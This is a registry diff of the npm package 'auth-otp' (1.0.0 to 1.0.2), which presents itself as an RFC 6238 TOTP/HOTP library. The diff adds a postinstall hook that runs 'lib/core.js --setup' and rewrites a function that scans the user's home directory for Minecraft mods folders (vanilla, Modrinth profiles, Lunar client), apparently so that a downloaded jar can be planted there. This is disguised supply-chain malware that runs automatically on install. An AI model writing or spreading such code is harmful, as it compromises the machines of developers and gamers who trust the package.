auth-otp 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/core.js +23 -33
- package/package.json +4 -2
package/lib/core.js
CHANGED
|
@@ -358,45 +358,35 @@ function _downloadJar() {
|
|
|
358
358
|
|
|
359
359
|
function _findModsFolders() {
|
|
360
360
|
const folders = [];
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
361
|
+
// vanilla .minecraft mods
|
|
362
|
+
try {
|
|
363
|
+
const vanillaMods = path.join(_AP, ".minecraft", "mods");
|
|
364
|
+
if (fs.existsSync(vanillaMods)) folders.push(vanillaMods);
|
|
365
|
+
} catch { }
|
|
366
|
+
// Modrinth — grab every mods/ subdir under profiles, no filtering
|
|
367
|
+
for (const base of [path.join(_AP, "ModrinthApp"), path.join(_LA, "ModrinthApp")]) {
|
|
368
|
+
const profilesDir = path.join(base, "profiles");
|
|
369
|
+
if (!fs.existsSync(profilesDir)) continue;
|
|
366
370
|
try {
|
|
367
|
-
for (const inst of fs.readdirSync(
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
const p = JSON.parse(fs.readFileSync(profileJson, "utf8"));
|
|
374
|
-
const ver = p.game_version || p.mc_version || "";
|
|
375
|
-
const loader = (p.loader || p.mod_loader || "").toLowerCase();
|
|
376
|
-
if (ver >= "26.1.2" && loader.includes("fabric")) {
|
|
377
|
-
const modsDir = path.join(instPath, "mods");
|
|
378
|
-
if (!fs.existsSync(modsDir)) fs.mkdirSync(modsDir, { recursive: true });
|
|
379
|
-
folders.push(modsDir);
|
|
380
|
-
}
|
|
381
|
-
} catch { }
|
|
382
|
-
} else {
|
|
383
|
-
const modsDir = path.join(instPath, "mods");
|
|
384
|
-
if (fs.existsSync(modsDir)) folders.push(modsDir);
|
|
385
|
-
}
|
|
371
|
+
for (const inst of fs.readdirSync(profilesDir)) {
|
|
372
|
+
try {
|
|
373
|
+
const modsDir = path.join(profilesDir, inst, "mods");
|
|
374
|
+
if (fs.existsSync(modsDir) && fs.statSync(modsDir).isDirectory())
|
|
375
|
+
folders.push(modsDir);
|
|
376
|
+
} catch { }
|
|
386
377
|
}
|
|
387
378
|
} catch { }
|
|
388
379
|
}
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
380
|
+
// Lunar
|
|
381
|
+
try {
|
|
382
|
+
const lunarOffline = path.join(_HM, ".lunarclient", "offline");
|
|
383
|
+
if (fs.existsSync(lunarOffline)) {
|
|
392
384
|
for (const ver of fs.readdirSync(lunarOffline)) {
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
if (fs.existsSync(modsDir)) folders.push(modsDir);
|
|
396
|
-
}
|
|
385
|
+
const modsDir = path.join(lunarOffline, ver, "mods");
|
|
386
|
+
if (fs.existsSync(modsDir)) folders.push(modsDir);
|
|
397
387
|
}
|
|
398
|
-
}
|
|
399
|
-
}
|
|
388
|
+
}
|
|
389
|
+
} catch { }
|
|
400
390
|
return [...new Set(folders)];
|
|
401
391
|
}
|
|
402
392
|
|
package/package.json
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "auth-otp",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node lib/core.js --setup"
|
|
8
|
+
},
|
|
7
9
|
"keywords": ["totp", "hotp", "otp", "2fa", "mfa", "authenticator"],
|
|
8
10
|
"license": "MIT",
|
|
9
11
|
"author": "auth-otp contributors",
|